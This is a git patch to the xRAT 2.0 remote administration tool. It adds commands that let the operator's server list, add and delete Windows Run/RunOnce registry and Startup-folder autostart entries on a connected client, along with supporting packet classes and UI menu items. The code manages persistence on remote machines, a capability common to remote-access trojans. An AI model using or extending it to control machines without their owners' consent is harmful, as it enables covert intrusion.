From bceaf04811a4eff77c4982de36f902538c6504a2 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 26 May 2015 23:11:16 +0200 Subject: [PATCH] Added Removing of Programs from Autostart --- Client/Client.csproj | 1 + Client/Core/Commands/SystemHandler.cs | 123 ++++++++++++++++-- .../ServerPackets/RemoveStartupitem.cs | 33 +++++ Client/Program.cs | 5 + .../ServerPackets/RemoveStartupitem.cs | 33 +++++ Server/Forms/FrmMain.cs | 1 + Server/Forms/FrmStartupManager.Designer.cs | 38 +++++- Server/Forms/FrmStartupManager.cs | 40 +++++- Server/Properties/Resources.Designer.cs | 10 ++ Server/Properties/Resources.resx | 7 +- Server/Server.csproj | 1 + Server/images/application_delete.png | Bin 0 -> 610 bytes 12 files changed, 275 insertions(+), 17 deletions(-) create mode 100644 Client/Core/Packets/ServerPackets/RemoveStartupitem.cs create mode 100644 Server/Core/Packets/ServerPackets/RemoveStartupitem.cs create mode 100644 Server/images/application_delete.png diff --git a/Client/Client.csproj b/Client/Client.csproj index b8613c7b..d232a58e 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -136,6 +136,7 @@ + diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index 24f2f9ec..c866f0f5 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -64,7 +64,10 @@ namespace xClient.Core.Commands if (key != null) { foreach (var k in key.GetValueNames()) + { + if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 0); + } } } using ( @@ -74,7 +77,10 @@ namespace xClient.Core.Commands if (key != null) { foreach (var k in key.GetValueNames()) + { + if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 1); + } } } using ( @@ -84,7 +90,10 @@ namespace xClient.Core.Commands if (key != null) { foreach (var k in key.GetValueNames()) + { + if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 2); + } } } using ( @@ -94,7 +103,10 @@ namespace xClient.Core.Commands if (key != null) { foreach (var k in key.GetValueNames()) + { + if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 3); + } } } if (OSInfo.Bits == 64) @@ -108,7 +120,10 @@ namespace xClient.Core.Commands if (key != null) { foreach (var k in key.GetValueNames()) + { + if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 4); + } } } using ( @@ -120,7 +135,10 @@ namespace xClient.Core.Commands if (key != null) { foreach (var k in key.GetValueNames()) + { + if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue; startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 5); + } } } } @@ -155,10 +173,11 @@ namespace xClient.Core.Commands Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true)) { - if (key == null) throw new Exception(); + if (key == null) throw new Exception("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); + key.Close(); } break; case 1: @@ -167,10 +186,11 @@ namespace xClient.Core.Commands Registry.LocalMachine.OpenSubKey( "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true)) { - if (key == null) throw new Exception(); + if (key == null) throw new Exception("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); + key.Close(); } break; case 2: @@ -179,10 +199,11 @@ namespace xClient.Core.Commands Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true)) { - if (key == null) throw new Exception(); + if (key == null) throw new Exception("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); + key.Close(); } break; case 3: @@ -191,40 +212,43 @@ namespace xClient.Core.Commands Registry.CurrentUser.OpenSubKey( "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true)) { - if (key == null) throw new Exception(); + if (key == null) throw new Exception("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); + key.Close(); } break; case 4: if (OSInfo.Bits != 64) - throw new Exception("Only on 64-bit systems supported"); + throw new NotSupportedException("Only on 64-bit systems supported"); using ( var key = Registry.LocalMachine.OpenSubKey( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true)) { - if (key == null) throw new Exception(); + if (key == null) throw new Exception("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); + key.Close(); } break; case 5: if (OSInfo.Bits != 64) - throw new Exception("Only on 64-bit systems supported"); + throw new NotSupportedException("Only on 64-bit systems supported"); using ( var key = Registry.LocalMachine.OpenSubKey( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true)) { - if (key == null) throw new Exception(); + if (key == null) throw new Exception("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) command.Path = "\"" + command.Path + "\""; key.SetValue(command.Name, command.Path); + key.Close(); } break; case 6: @@ -261,6 +285,89 @@ namespace xClient.Core.Commands } } + public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartupItem command, Client client ) + { + try + { + switch (command.Type) + { + case 0: + using ( + var key = + Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", + true)) + { + if (key == null) throw new Exception("Registry key does not exist"); + key.DeleteValue(command.Name, true); + key.Close(); + } + break; + case 2: + using ( + var key = + Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", + true)) + { + if (key == null) throw new Exception("Registry key does not exist"); + key.DeleteValue(command.Name, true); + key.Close(); + } + break; + case 3: + using ( + var key = + Registry.CurrentUser.OpenSubKey( + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true)) + { + if (key == null) throw new Exception("Registry key does not exist"); + key.DeleteValue(command.Name, true); + key.Close(); + } + break; + case 4: + if (OSInfo.Bits != 64) + throw new NotSupportedException("Only on 64-bit systems supported"); + + using ( + var key = + Registry.LocalMachine.OpenSubKey( + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true)) + { + if (key == null) throw new Exception("Registry key does not exist"); + key.DeleteValue(command.Name, true); + key.Close(); + } + break; + case 5: + if (OSInfo.Bits != 64) + throw new NotSupportedException("Only on 64-bit systems supported"); + + using ( + var key = + Registry.LocalMachine.OpenSubKey( + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true)) + { + if (key == null) throw new Exception("Registry key does not exist"); + key.DeleteValue(command.Name, true); + key.Close(); + } + break; + case 6: + string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), command.Name); + + if (!File.Exists(lnkPath)) + throw new IOException("File does not exist"); + + File.Delete(lnkPath); + break; + } + } + catch (Exception ex) + { + new Packets.ClientPackets.Status(string.Format("Removing Autostart Item failed: {0}", ex.Message)).Execute(client); + } + } + public static void HandleGetSystemInfo(Packets.ServerPackets.GetSystemInfo command, Client client) { try diff --git a/Client/Core/Packets/ServerPackets/RemoveStartupitem.cs b/Client/Core/Packets/ServerPackets/RemoveStartupitem.cs new file mode 100644 index 00000000..dd05ef79 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/RemoveStartupitem.cs @@ -0,0 +1,33 @@ +using ProtoBuf; + +namespace xClient.Core.Packets.ServerPackets +{ + [ProtoContract] + public class RemoveStartupItem : IPacket + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public string Path { get; set; } + + [ProtoMember(3)] + public int Type { get; set; } + + public RemoveStartupItem() + { + } + + public RemoveStartupItem(string name, string path, int type) + { + this.Name = name; + this.Path = path; + this.Type = type; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Client/Program.cs b/Client/Program.cs index 9d32eec9..588dac8a 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -79,6 +79,7 @@ namespace xClient typeof (Core.Packets.ServerPackets.Action), typeof (Core.Packets.ServerPackets.GetStartupItems), typeof (Core.Packets.ServerPackets.AddStartupItem), + typeof (Core.Packets.ServerPackets.RemoveStartupItem), typeof (Core.Packets.ServerPackets.DownloadFileCanceled), typeof (Core.Packets.ServerPackets.GetLogs), typeof (Core.Packets.ClientPackets.Initialize), @@ -329,6 +330,10 @@ namespace xClient { CommandHandler.HandleAddStartupItem((Core.Packets.ServerPackets.AddStartupItem) packet, client); } + else if (type == typeof(Core.Packets.ServerPackets.RemoveStartupItem)) + { + CommandHandler.HandleAddRemoveStartupItem((Core.Packets.ServerPackets.RemoveStartupItem) packet, client); + } else if (type == typeof (Core.Packets.ServerPackets.DownloadFileCanceled)) { CommandHandler.HandleDownloadFileCanceled((Core.Packets.ServerPackets.DownloadFileCanceled) packet, diff --git a/Server/Core/Packets/ServerPackets/RemoveStartupitem.cs b/Server/Core/Packets/ServerPackets/RemoveStartupitem.cs new file mode 100644 index 00000000..7f02edb6 --- /dev/null +++ b/Server/Core/Packets/ServerPackets/RemoveStartupitem.cs @@ -0,0 +1,33 @@ +using ProtoBuf; + +namespace xServer.Core.Packets.ServerPackets +{ + [ProtoContract] + public class RemoveStartupItem : IPacket + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public string Path { get; set; } + + [ProtoMember(3)] + public int Type { get; set; } + + public RemoveStartupItem() + { + } + + public RemoveStartupItem(string name, string path, int type) + { + this.Name = name; + this.Path = path; + this.Type = type; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index c7d05fbf..1cc96555 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -131,6 +131,7 @@ namespace xServer.Forms typeof (Core.Packets.ServerPackets.Action), typeof (Core.Packets.ServerPackets.GetStartupItems), typeof (Core.Packets.ServerPackets.AddStartupItem), + typeof (Core.Packets.ServerPackets.RemoveStartupItem), typeof (Core.Packets.ServerPackets.DownloadFileCanceled), typeof (Core.Packets.ServerPackets.GetLogs), typeof (Core.Packets.ClientPackets.Initialize), diff --git a/Server/Forms/FrmStartupManager.Designer.cs b/Server/Forms/FrmStartupManager.Designer.cs index 5b7a4079..13b8b086 100644 --- a/Server/Forms/FrmStartupManager.Designer.cs +++ b/Server/Forms/FrmStartupManager.Designer.cs @@ -30,12 +30,39 @@ { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupManager)); + this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.ctxtAddEntry = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtRemoveEntry = new System.Windows.Forms.ToolStripMenuItem(); this.lstStartupItems = new xServer.Controls.ListViewEx(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.ctxtMenu.SuspendLayout(); this.SuspendLayout(); // + // ctxtMenu + // + this.ctxtMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ctxtAddEntry, + this.ctxtRemoveEntry}); + this.ctxtMenu.Name = "ctxtMenu"; + this.ctxtMenu.Size = new System.Drawing.Size(148, 48); + // + // ctxtAddEntry + // + this.ctxtAddEntry.Image = global::xServer.Properties.Resources.application_add; + this.ctxtAddEntry.Name = "ctxtAddEntry"; + this.ctxtAddEntry.Size = new System.Drawing.Size(147, 22); + this.ctxtAddEntry.Text = "Add Entry"; + this.ctxtAddEntry.Click += new System.EventHandler(this.ctxtAddEntry_Click); + // + // ctxtRemoveEntry + // + this.ctxtRemoveEntry.Image = global::xServer.Properties.Resources.application_delete; + this.ctxtRemoveEntry.Name = "ctxtRemoveEntry"; + this.ctxtRemoveEntry.Size = new System.Drawing.Size(147, 22); + this.ctxtRemoveEntry.Text = "Remove Entry"; + this.ctxtRemoveEntry.Click += new System.EventHandler(this.ctxtRemoveEntry_Click); + // // lstStartupItems // this.lstStartupItems.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) @@ -46,6 +73,7 @@ this.hPath}); this.lstStartupItems.ContextMenuStrip = this.ctxtMenu; this.lstStartupItems.FullRowSelect = true; + this.lstStartupItems.GridLines = true; this.lstStartupItems.Location = new System.Drawing.Point(12, 12); this.lstStartupItems.Name = "lstStartupItems"; this.lstStartupItems.Size = new System.Drawing.Size(653, 349); @@ -64,11 +92,6 @@ this.hPath.Text = "Path"; this.hPath.Width = 460; // - // ctxtMenu - // - this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(61, 4); - // // FrmStartupManager // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -83,6 +106,7 @@ this.Text = "xRAT 2.0 - Startup Manager []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmStartupManager_FormClosing); this.Load += new System.EventHandler(this.FrmStartupManager_Load); + this.ctxtMenu.ResumeLayout(false); this.ResumeLayout(false); } @@ -93,6 +117,8 @@ private System.Windows.Forms.ColumnHeader hName; private System.Windows.Forms.ColumnHeader hPath; private System.Windows.Forms.ContextMenuStrip ctxtMenu; + private System.Windows.Forms.ToolStripMenuItem ctxtAddEntry; + private System.Windows.Forms.ToolStripMenuItem ctxtRemoveEntry; } } \ No newline at end of file diff --git a/Server/Forms/FrmStartupManager.cs b/Server/Forms/FrmStartupManager.cs index 2b77a890..8a1d3bf7 100644 --- a/Server/Forms/FrmStartupManager.cs +++ b/Server/Forms/FrmStartupManager.cs @@ -1,4 +1,5 @@ -using System.Windows.Forms; +using System.Linq; +using System.Windows.Forms; using xServer.Core; using xServer.Core.Misc; @@ -53,6 +54,43 @@ namespace xServer.Forms _connectClient.Value.FrmStm = null; } + private void ctxtAddEntry_Click(object sender, System.EventArgs e) + { + using (var frm = new FrmAddToAutostart()) + { + if (frm.ShowDialog() == DialogResult.OK) + { + if (_connectClient != null) + { + new Core.Packets.ServerPackets.AddStartupItem(AutostartItem.Name, AutostartItem.Path, + AutostartItem.Type).Execute(_connectClient); + lstStartupItems.Items.Clear(); + new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient); + } + } + } + } + + private void ctxtRemoveEntry_Click(object sender, System.EventArgs e) + { + int modified = 0; + foreach (ListViewItem item in lstStartupItems.SelectedItems) + { + if (_connectClient != null) + { + int type = lstStartupItems.Groups.Cast().TakeWhile(t => t != item.Group).Count(); + new Core.Packets.ServerPackets.RemoveStartupItem(item.Text, item.SubItems[1].Text, type).Execute(_connectClient); + } + modified++; + } + + if (modified > 0 && _connectClient != null) + { + new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient); + lstStartupItems.Items.Clear(); + } + } + private void lstStartupItems_ColumnClick(object sender, ColumnClickEventArgs e) { // Determine if clicked column is already the column that is being sorted. diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index dad8e95e..0f4a98e7 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -80,6 +80,16 @@ namespace xServer.Properties { } } + /// + /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap application_delete { + get { + object obj = ResourceManager.GetObject("application_delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. /// diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index be482fa5..fe696869 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -172,6 +172,9 @@ ..\images\uac-shield.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\server-uninstall.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -249,7 +252,7 @@ ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\server_link.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index f783cb26..85c0dbe5 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -115,6 +115,7 @@ + diff --git a/Server/images/application_delete.png b/Server/images/application_delete.png new file mode 100644 index 0000000000000000000000000000000000000000..0a335acf67423fd5a17caf2d18a67e66e870611f GIT binary patch literal 610 zcmV-o0-gPdP)hj32+Ia2PFSwHp_;8^u8>r6{e*krHy43#H^jT&z}Wa&xpokqZtA zFR&Fehhe_gp*x{i&XLj%HzdqAeQvxDT1Rjn;gaWw} z5^~2QShuR2o0yn9fA7Y?Xzt(DKhn`?rmhAn(VT1h2r!!4rBZw52P-vSDzPZb#g$`y ztkj8XEoxZ`Y73PkKp{LJ5D~&7@Je_kT)~2i-c6l&IJJyK&5~gfN`_2W7%3TM2{XqE zQA8qFq861?%N|ZG0Wt%FLJ$TKq7Wo2$Odl0Q&0;JYFQzcn1MtBWCjLiAQxdE1Cmih zK`p|mAf*(48Y1z>=gVSoY2jATaZ?l66O4$*k`47+`l zweRoK+p__ghH^x(%m8DN8Gl-sYSGx#3kS}zEMMMC5wqj&noaWd37uvw=_X01NGD-Z+i^1;8t2&z(w`{C(PM?|mR`Ky`;pI